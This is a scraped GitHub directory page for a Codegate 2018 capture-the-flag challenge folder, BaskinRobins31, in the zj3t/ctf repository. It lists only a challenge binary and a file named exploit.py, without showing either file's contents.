<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> zj3t </span> <span>/</span> ctf
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>5</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/zj3t/ctf/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":118874597,"originating_url":"https://github.com/zj3t/ctf/tree/master/codegate2018/BaskinRobins31","user_id":null}}" data-hydro-click-hmac="bd284b8e0e9ac7ca2f0e93ac14e399d7abe938ff44bdc3fab25f465c07f8050b"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/zj3t/ctf/refs" cache-key="v0:1516864473.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="emozdC9jdGY=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/zj3t/ctf/refs" cache-key="v0:1516864473.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="emozdC9jdGY=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>codegate2018</span></span><span>/</span>BaskinRobins31<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>codegate2018</span></span><span>/</span>BaskinRobins31<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/zj3t/ctf/tree-commit/2bb59e7b79bff6ccb7e956c1849f56793d35c165/codegate2018/BaskinRobins31" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/zj3t/ctf/file-list/master/codegate2018/BaskinRobins31"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>BaskinRobins31</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
